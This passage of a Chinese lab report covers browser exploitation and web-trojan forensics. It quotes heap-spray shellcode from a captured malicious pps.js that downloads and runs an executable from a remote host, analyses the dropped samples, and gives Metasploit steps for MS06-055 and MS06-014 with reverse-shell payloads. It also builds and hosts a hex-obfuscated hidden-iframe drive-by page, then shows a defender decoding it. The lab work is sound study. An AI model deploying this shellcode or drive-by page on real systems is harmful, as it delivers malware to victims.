"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
")
该脚本的执行流程为:首先通过 document.createElement("object") 创建一个 object 元素,设置其 classid 属性为 clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458(这是 PPS PowerPlayer 控件的 CLSID);然后定义与 b.js 类似的 shellcode(但下载地址不同,编码了 http://down.18dd.net/bb/pps.exe);接着实现堆喷射逻辑,创建 400 个内存块(比 b.js 的 300 个更多),每个块大小接近 0x40000(256KB);最后构造 500 字节的 buffer(通过重复 \x0a 换行符填充),将其赋值给 pps.Logo 属性,触发 PPS 控件的缓冲区溢出漏洞。与 b.js 相比,pps.js 的堆喷射参数略有不同(400 个元素 vs 300 个,0x40000 vs 262144,500 字节 vs 4068 字节),但核心原理相同。
bd.cab 分析:
bd.cab 为 CAB 格式的压缩包文件,使用 Windows 自带的 expand 命令或第三方解压工具进行解压,解压后得到 bd.exe 可执行文件。
2.3.6 恶意样本哈希校验与静态分析
对上述四个可执行文件(014.exe、bf.exe、pps.exe、bd.exe)进行 MD5 哈希计算。在 Kali 终端中执行 md5sum bd.exe 命令,对 bd.exe 文件计算 MD5 哈希值。为了验证四个文件是否为同一恶意程序的不同副本,分别对四个文件计算 MD5 值并进行比对。

md5sum bd.exe
f3f0c6e992b7562598d9865b6fe8b3a6 bd.exe
哈希校验结果显示,四个可执行文件的 MD5 值均为 f3f0c6e992b7562598d9865b6fe8b3a6,证明这四个文件实际上是同一个恶意程序的多个副本。攻击者通过多种不同的漏洞利用路径(ADODB.Stream、StormPlayer、PPS 控件、百度工具栏)最终投递了相同的木马载荷,这种多路径投递策略提高了攻击成功率,确保无论目标机器上安装了哪种 ActiveX 控件,都能成功下载并执行恶意程序。
桌面文件结构展示了整个分析过程中获取的各类文件:包括入口文件 start.html、new09.htm、kl.htm,一阶段脚本 1.js,二阶段脚本 b.js、pps.js,哈希文件目录 hashed,以及最终的可执行文件 bd.exe 等。

使用"超级巡警之虚拟机自动脱壳器 V1.3"对 bd.exe 进行脱壳处理。在 Windows XP 分析环境中运行该脱壳工具,点击"选择文件"按钮,浏览并选择 C:\Documents and Settings\Administrator\桌面\网页挂马分析\bd.exe 文件,然后点击"给我脱"按钮开始脱壳。脱壳工具自动检测文件的加壳类型,在信息栏中显示检测结果为 "Borland Delphi v6.0 - v7.0",表明该程序是使用 Borland Delphi 6.0 到 7.0 版本编译的,并使用了相应的加壳保护。

脱壳完成后,使用 IDA Pro Free 反汇编工具对脱壳后的 pps.exe 进行静态分析。在 IDA Pro 中打开脱壳后的可执行文件,等待 IDA 完成文件加载和分析。分析完成后,切换到 "Strings" 窗口查看程序中包含的所有字符串信息。

从 IDA 的字符串窗口中可以观察到大量可疑信息:首先是 Borland Delphi 运行时库标识 SOFTWARE\Borland\Delphi\RTL,确认了程序的编译环境;其次是 QueryServiceConfig2W、ChangeServiceConfig2W 等 Windows 服务管理 API 函数名,表明该程序具有操作 Windows 服务的功能;最重要的是发现了大量可疑的下载地址,包括 http://down.18dd.net/bb/0.exe 到 http://down.18dd.net/bb/18.exe 共 19 个变种文件的下载链接,以及端口号 6000 等网络通信相关字符串。这表明该恶意程序具有下载器(Downloader)功能,会从远程服务器下载更多恶意组件并执行,同时可能修改系统服务配置以实现持久化。
2.4 浏览器渗透攻防对抗实践
本部分独立验证 MS06-055 VML 漏洞与 MS06-014 ActiveX 漏洞,将两个漏洞 URL 转为十六进制并封装进混淆 HTML 页面,通过 Apache 部署统一挂马入口,完成攻击与防御的全流程对抗。
2.4.1 攻击端:独立验证两个漏洞模块
首先验证网络连通性。在 Kali 终端中执行 ping 192.168.200.14 -c 4 命令,向靶机发送 4 个 ICMP 回显请求数据包。输出结果显示 4 个数据包全部发送成功,4 个数据包全部接收,0% 丢包率,往返时间最小值 0.191ms、平均值 0.550ms、最大值 1.365ms,说明网络连接稳定可靠。

MS06-055 VML 漏洞验证:
在 Metasploit 控制台中执行 use exploit/windows/browser/ms06_055_vml_method 命令加载 MS06-055 VML 漏洞利用模块。加载后 Metasploit 自动配置了默认的 windows/shell/reverse_tcp payload。接着依次执行以下参数设置命令:
set payload windows/shell/reverse_tcp:明确设置 payload 类型为反向 TCP shellset SRVHOST 0.0.0.0:设置服务监听地址为所有网络接口set SRVPORT 8081:设置服务端口为 8081(注意与 MS06-014 的 8080 端口区分)set URIPATH /ms06055:设置自定义 URI 路径为 /ms06055set LHOST 192.168.200.2:设置攻击机 IP 地址set LPORT 4455:设置监听端口为 4455set ExitOnSession false:设置会话建立后不退出 exploit(保持服务运行)set VERBOSE true:开启详细输出模式

执行 show options 命令查看当前模块的所有配置参数。输出结果分为三个部分:Module options 显示了模块级别的参数(SRVHOST、SRVPORT、SSL、SSLCert、URIPATH);Payload options 显示了 payload 级别的参数(EXITFUNC、LHOST、LPORT);Exploit target 显示了目标平台信息(Windows NT 4.0 → Windows 2003 SP1)。确认所有 Required 为 yes 的参数都已正确设置。

执行 run -j 命令在后台运行 exploit。输出显示 "Exploit running as background job 0",表示 exploit 已作为后台任务 0 运行。接着显示 "Started reverse TCP handler on 192.168.200.2:4455",确认反向 TCP 监听器已在 4455 端口启动。"Using URL: http://192.168.200.2:8081/ms06055" 显示了本次攻击的恶意 URL。"Server started" 表示 Web 服务已就绪。

当靶机 IE 访问该 URL 后,Metasploit 输出 "ms06_055_vml_method - Sending MS06-055 Microsoft Internet Explorer VML Fill Method Code Execution",表示已向靶机发送 VML 漏洞利用代码。

尝试使用 sessions -i 1 命令建立会话交互,但返回 "Invalid session identifier: 1",表示会话 1 不存在。尝试执行 ver 和 ipconfig 命令也返回 "Unknown command" 错误,说明当前不在有效的 shell 会话中。最终执行 exit 退出 msfconsole,然后使用 jobs -K 和 sessions -K 命令停止所有后台任务和会话。MS06-055 模块虽然成功发送了 exploit HTML,但未能成功建立稳定的 session,这体现了浏览器漏洞利用的不稳定性特征,可能受到浏览器版本、系统补丁状态、内存布局等多种因素的影响。

MS06-014 ActiveX 漏洞验证:
重新启动 Metasploit,执行 use exploit/windows/browser/ie_createobject 加载 MS06-014 模块。依次执行以下参数设置命令:
set payload windows/shell/reverse_tcp:设置 payload 类型set SRVHOST 0.0.0.0:设置服务监听地址set SRVPORT 8082:设置服务端口为 8082(与 MS06-055 的 8081 区分,避免端口冲突)set URIPATH /ms06014:设置自定义 URI 路径为 /ms06014set LHOST 192.168.200.2:设置攻击机 IP 地址set LPORT 5544:设置监听端口为 5544(与 MS06-055 的 4455 区分)

执行 show options 命令查看当前模块的所有配置参数。Module options 显示 SRVHOST 为 0.0.0.0、SRVPORT 为 8082、URIPATH 为 /ms06014;Payload options 显示 LHOST 为 192.168.200.2、LPORT 为 5544。确认所有必需参数已正确配置。

尝试设置 set ExitOnSession false 时返回 "Unknown datastore option: ExitOnSession" 错误,说明该模块不支持此参数。执行 unset ExitOnSession 取消该参数设置。重新执行 show options 确认配置无误后,执行 run -j 在后台运行 exploit。

在 Win2K 靶机的 IE 浏览器地址栏中输入 http://192.168.200.2:8082/ms06014 并访问。浏览器页面显示了一串随机字符 "noxsbeUNUjXfNBNvj",这是 Metasploit 返回的漏洞利用页面内容。

尝试使用 sessions -i 2 建立会话交互,但返回 "Invalid session identifier: 2" 错误。执行 jobs -K 停止所有后台任务,执行 sessions -K 关闭所有会话。MS06-014 模块在本次验证中也未能建立稳定的 session,进一步说明了浏览器漏洞利用的不稳定性。

2.4.2 将漏洞 URL 转换为十六进制编码
使用 Python 3 将两个漏洞 URL 转换为十六进制编码。在 Kali 终端中执行以下命令:
# 转换 MS06-055 的 URL
python3 -c 'print("http://192.168.200.2:8081/ms06055".encode().hex())'
# 输出:687474703a2f2f3139322e3136382e3230302e323a383038312f6d733036303535
# 转换 MS06-014 的 URL
python3 -c 'print("http://192.168.200.2:8082/ms06014".encode().hex())'
# 输出:687474703a2f2f3139322e3136382e3230302e323a383038322f6d733036303134
十六进制编码的目的是将真实的漏洞 URL 隐藏在 HTML 页面中,使安全分析人员无法直接从页面源码中识别出恶意地址。每个 ASCII 字符被转换为其对应的两位十六进制表示,例如 'h' 转换为 '68','t' 转换为 '74',':' 转换为 '3a','/' 转换为 '2f' 等。

2.4.3 生成混淆 HTML 挂马页面
编写 Python 脚本 gen_html.py 生成混淆 HTML 页面。脚本中定义了一个 HTML 模板字符串,核心逻辑包括:
- 定义
h2s(h)函数:将十六进制字符串还原为普通字符串。该函数遍历十六进制字符串,每次取两个字符,使用parseInt(h.substr(i, 2), 16)将其解析为十进制数,再通过String.fromCharCode()转换为对应的 ASCII 字符,最后拼接成完整的 URL 字符串。 - 定义
loadHiddenFrame(url)函数:创建一个隐藏的 iframe 元素,设置其宽度为 1、高度为 1、display 样式为 "none",使其在页面上不可见,然后将该 iframe 添加到 document.body 中,实现后台静默加载指定 URL。 - 在
window.onload事件中:定义两个十六进制编码的 URL 变量u1和u2,分别对应 MS06-055 和 MS06-014 的漏洞 URL;调用loadHiddenFrame(h2s(u1))加载第一个漏洞 URL;使用setTimeout延迟 5000 毫秒(5 秒)后调用loadHiddenFrame(h2s(u2))加载第二个漏洞 URL。延迟加载的目的是避免同时触发两个漏洞导致浏览器崩溃。
使用 with open("20253910xkf.html", "w") as f: f.write(html_template) 将 HTML 模板写入文件。执行 python3 gen_html.py 运行脚本,输出 "HTML 文件已生成:20253910xkf.html"。

2.4.4 部署到 Apache 服务器
将生成的 HTML 文件部署到 Apache Web 服务器。在 Kali 终端中依次执行以下命令:
# 创建对应的 Web 目录
sudo mkdir -p /var/www/html/3910xkf
# 复制文件并设置正确权限(关键步骤)
sudo cp 20253910xkf.html /var/www/html/3910xkf/
sudo chmod 644 /var/www/html/3910xkf/20253910xkf.html
sudo chown www-data:www-data /var/www/html/3910xkf/20253910xkf.html
# 重启 Apache 服务确保生效
sudo systemctl restart apache2
创建目录 /var/www/html/3910xkf 作为挂马页面的存放路径。将生成的 HTML 文件复制到该目录下。使用 chmod 644 设置文件权限为所有者可读写、组用户和其他用户只读。使用 chown www-data:www-data 将文件所有者设置为 Apache 服务的运行用户 www-data,确保 Apache 有权限读取该文件。最后重启 Apache 服务使配置生效。

部署完成后,攻击者可以将挂马页面的 URL(如 http://192.168.200.2/3910xkf/20253910xkf.html)通过邮件、即时消息等方式发送给目标用户。当用户访问该页面时,页面会在后台依次加载两个漏洞利用 URL,尝试触发 MS06-055 和 MS06-014 漏洞,实现多漏洞组合攻击。
2.4.5 防守端:提取恶意链接并逆向分析
防守方从获取的混淆 HTML 页面出发,提取其中的十六进制编码 URL,逆向还原真实的漏洞利用地址。具体步骤如下:
- 查看 HTML 页面源码,定位到 JavaScript 代码中的
u1和u2变量,获取十六进制编码的 URL 字符串。 - 使用 Python 或在线工具将十六进制字符串还原为普通 URL:
# 还原 u1 bytes.fromhex("687474703a2f2f3139322e3136382e3230302e323a383038312f6d733036303535").decode() # 结果:http://192.168.200.2:8081/ms06055 # 还原 u2 bytes.fromhex("687474703a2f2f3139322e3136382e3230302e323a383038322f6d733036303134").decode() # 结果:http://192.168.200.2:8082/ms06014 - 分析还原后的 URL,识别出两个漏洞的 CVE 编号、影响组件、触发原理与利用方式:
- MS06-014(CVE-2006-0003): 影响 Internet Explorer 的 ActiveX 控件创建机制。攻击者可通过构造恶意的 CreateObject 调用,利用 ADODB.Stream 等 ActiveX 控件的安全缺陷实现远程代码执行。该漏洞影响 Windows 2000、Windows XP、Windows Server 2003 等系统上的 IE 6.0 浏览器。
- MS06-055(CVE-2006-4777): 影响 Internet Explorer 的 VML(矢量标记语言)处理组件。攻击者可通过构造恶意的 VML 标签和堆喷射技术,利用 VML Fill 方法中的内存破坏漏洞实现远程代码执行。该漏洞同样影响旧版 Windows 系统上的 IE 浏览器。
通过上述分析,防守方可以准确识别攻击者使用的漏洞类型、攻击目标和攻击手法,从而采取针对性的防御措施,如更新系统补丁、禁用相关 ActiveX 控件、配置防火墙规则等。
三、实验总结
3.1 核心结论
通过本次实验,完成了以下三个方面的实践内容:
-
浏览器渗透攻击:成功利用 Metasploit 的 MS06-014 模块对 Windows 2000 靶机实施了浏览器端渗透攻击,通过构造恶意网页 URL,在靶机 IE 访问后建立了远程 shell 会话,验证了旧版浏览器中 ActiveX 控件漏洞的危害性。攻击者可以通过简单的 URL 访问获得对目标系统的完全控制权。
-
网页木马取证分析:完整还原了网页木马的攻击链条,从入口页面
start.html到new09.htm,再到经过 Base64 + XXTEA 加密混淆的二阶段脚本,最终定位到四个不同漏洞利用路径(ADODB.Stream、暴风影音、PPS、百度工具栏)投递的同一恶意样本。通过脱壳和 IDA 静态分析,确认了该样本的下载器属性和多组件下载行为。攻击者采用多路径投递策略,显著提高了攻击成功率。 -
攻防对抗实践:独立验证了 MS06-055 和 MS06-014 两个漏洞模块,将漏洞 URL 转换为十六进制编码并封装进混淆 HTML 页面,通过 Apache 部署统一挂马入口,完成了从攻击构造到防御分析的全流程对抗。实验过程中观察到了浏览器漏洞利用的不稳定性特征,同一漏洞在不同条件下可能产生不同的利用结果。
3.2 实验体会
浏览器端漏洞利用与服务端漏洞利用相比,具有更高的不确定性和不稳定性。在实验过程中,MS06-055 模块虽然成功发送了 exploit 载荷,但未能建立稳定的 session,这反映了浏览器漏洞利用受多种因素影响的特性,包括浏览器版本、系统补丁状态、内存布局随机化(ASLR)、数据执行保护(DEP)等安全机制的影响。
网页木马的多层混淆和分阶段加载技术显著增加了安全分析的难度。攻击者通过 Base64 编码、XXTEA 加密、十六进制转义、Packer 混淆等多种技术手段隐藏真实攻击意图,需要分析人员具备逐层解码和还原攻击链条的能力。同时,攻击者采用多路径漏洞探测策略,根据目标环境动态选择最优攻击路径,进一步提高了攻击的隐蔽性和成功率。
从防御角度来看,及时更新系统补丁、禁用不必要的 ActiveX 控件、限制旧版浏览器的使用是防范此类攻击的有效措施。在攻防对抗中,防守方需要具备从混淆代码中还原真实攻击意图的能力,这对安全分析人员的技术水平提出了较高要求。网络流量监控、终端行为检测、恶意代码静态分析等多种防御手段的结合使用,可以更有效地发现和阻止浏览器端攻击。
浙公网安备 33010602011771号